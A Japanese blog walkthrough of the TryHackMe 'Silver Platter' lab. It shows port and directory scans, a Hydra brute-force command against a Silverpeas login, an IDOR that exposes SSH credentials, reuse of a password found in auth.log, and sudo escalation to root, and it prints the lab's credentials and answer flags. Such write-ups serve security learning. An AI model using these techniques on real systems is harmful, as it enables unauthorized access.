0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Silver Platter:Walkthrough

Posted at

概要

TryHackMe「Silver Platter」のWalkthroughです。

Task1

Q1.What is the user flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.215.198 -oN nmap_result
PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_  256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp    open     http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp  open     http-proxy
|_http-title: Error
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 19 Jan 2025 06:55:37 GMT
|     <html><head><title>Error</title></head><body>404 - Not Found</body></html>
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 19 Jan 2025 06:55:36 GMT
|_    <html><head><title>Error</title></head><body>404 - Not Found</body></html>

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx 1.18.0
8080 http-proxy

80番ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.10.145.239
[06:26:08] 301 -  178B  - /assets  ->  http://10.10.145.239/assets/
[06:26:08] 403 -  564B  - /assets/
[06:26:35] 301 -  178B  - /images  ->  http://10.10.145.239/images/
[06:26:35] 403 -  564B  - /images/
[06:26:41] 200 -   17KB - /LICENSE.txt
[06:27:02] 200 -  771B  - /README.txt

8080番ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.10.145.239:8080
[06:28:51] 302 -    0B  - /console/login/LoginForm.jsp  ->  /noredirect.html
[06:28:51] 302 -    0B  - /console  ->  /noredirect.html
[06:28:51] 302 -    0B  - /console/base/config.json  ->  /noredirect.html   
[06:28:51] 302 -    0B  - /console/j_security_check  ->  /noredirect.html   
[06:28:51] 302 -    0B  - /console/payments/config.json  ->  /noredirect.html
[06:28:51] 302 -    0B  - /console/  ->  /noredirect.html
[06:30:00] 302 -    0B  - /website  ->  http://10.10.145.239:8080/website/

80ポートのCONTACTページにアクセスすると、Silverpeas,scr1ptkiddyというワードが得られました。

image.png

Silverpeasというツールが使用されている可能性が高いです。

ドキュメントを確認するとhttp://localhost:8000/silverpeasでアクセスできるようです。

また、デフォルトの認証情報がSilverAdmin/SilverAdminだと分かりました。

image.png

8080ポートの/silverpeasにアクセスすると

image.png

しかし、得られた情報ではログインに失敗しました。

image.png

ユーザー名にscr1ptkiddyが使用されている可能性が高いので、Hydraでパスワードを探します。

使用するパスワードリストをCewlで作成します。

$ cewl -w cewl-wordlist.txt http://10.10.145.239   
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Hydraを実行し、パスワードを特定できました。

$ hydra -f -l scr1ptkiddy -P cewl-wordlist.txt 10.10.145.239 -s 8080 http-post-form "/silverpeas/AuthenticationServlet:Login=^USER^&Password=^PASS^&DomainId=0:F=Login or password incorrect" -t 40

[8080][http-post-form] host: 10.10.145.239   login: scr1ptkiddy   password: adipiscing

得られた認証情報でログインに成功しました。

image.png

Personal WorkspaceMy notificationsからメールを確認する事が出来ます。

image.png

リクエスト内容を見るとID=で参照しているようです。
IDの値を変更することで他のメールも見る事ができるかもしれません。

image.png

ID=6とすることでAdministrateurからのメールを閲覧でき、SSHの認証情報を得られました。

image.png

image.png

Username: tim,Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlolでSSH接続に成功しました。

$ ssh tim@10.10.145.239
tim@silver-platter:~$

/home/tim/user.txtからユーザーフラグを入手できました。

$ cat user.txt 
THM{c4ca4238a0b923820dcc509a6f75849b}

A.THM{c4ca4238a0b923820dcc509a6f75849b}

Q2.What is the root flag?

他にtylerユーザーが居ます。

$ ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Dec 13  2023 .
drwxr-xr-x 19 root  root  4096 Dec 12  2023 ..
dr-xr-xr-x  2 root  root  4096 Dec 13  2023 tim
drwxr-x---  5 tyler tyler 4096 Dec 13  2023 tyler

timadmグループに所属しています。

$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

よって/var/log配下の閲覧権限があり、ログから認証情報を得られるかもしれません。

/var/log/auth.log.2のログからpostgresqlのDockerを動かすコマンドを発見しました。
ここで使用されているパスワードを流用できるかもしれません。

$ cat auth.log.2 | grep tyler
Dec 13 15:40:33 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3

Password: _Zd_zx7N823/tylerアカウントに昇格出来ました。

$ su tyler
Password: 
tyler@silver-platter:/var/log$

sudo -lで確認すると全コマンドが許可されています。

$ sudo -l
[sudo] password for tyler: 
Matching Defaults entries for tyler on silver-platter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL

root権限を取得できました。

$ sudo /bin/bash
root@silver-platter:/var/log# whoami
root

/root/root.txtからルートフラグを入手できました。

# cat root.txt 
THM{098f6bcd4621d373cade4e832627b4f6}

A.THM{098f6bcd4621d373cade4e832627b4f6}

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?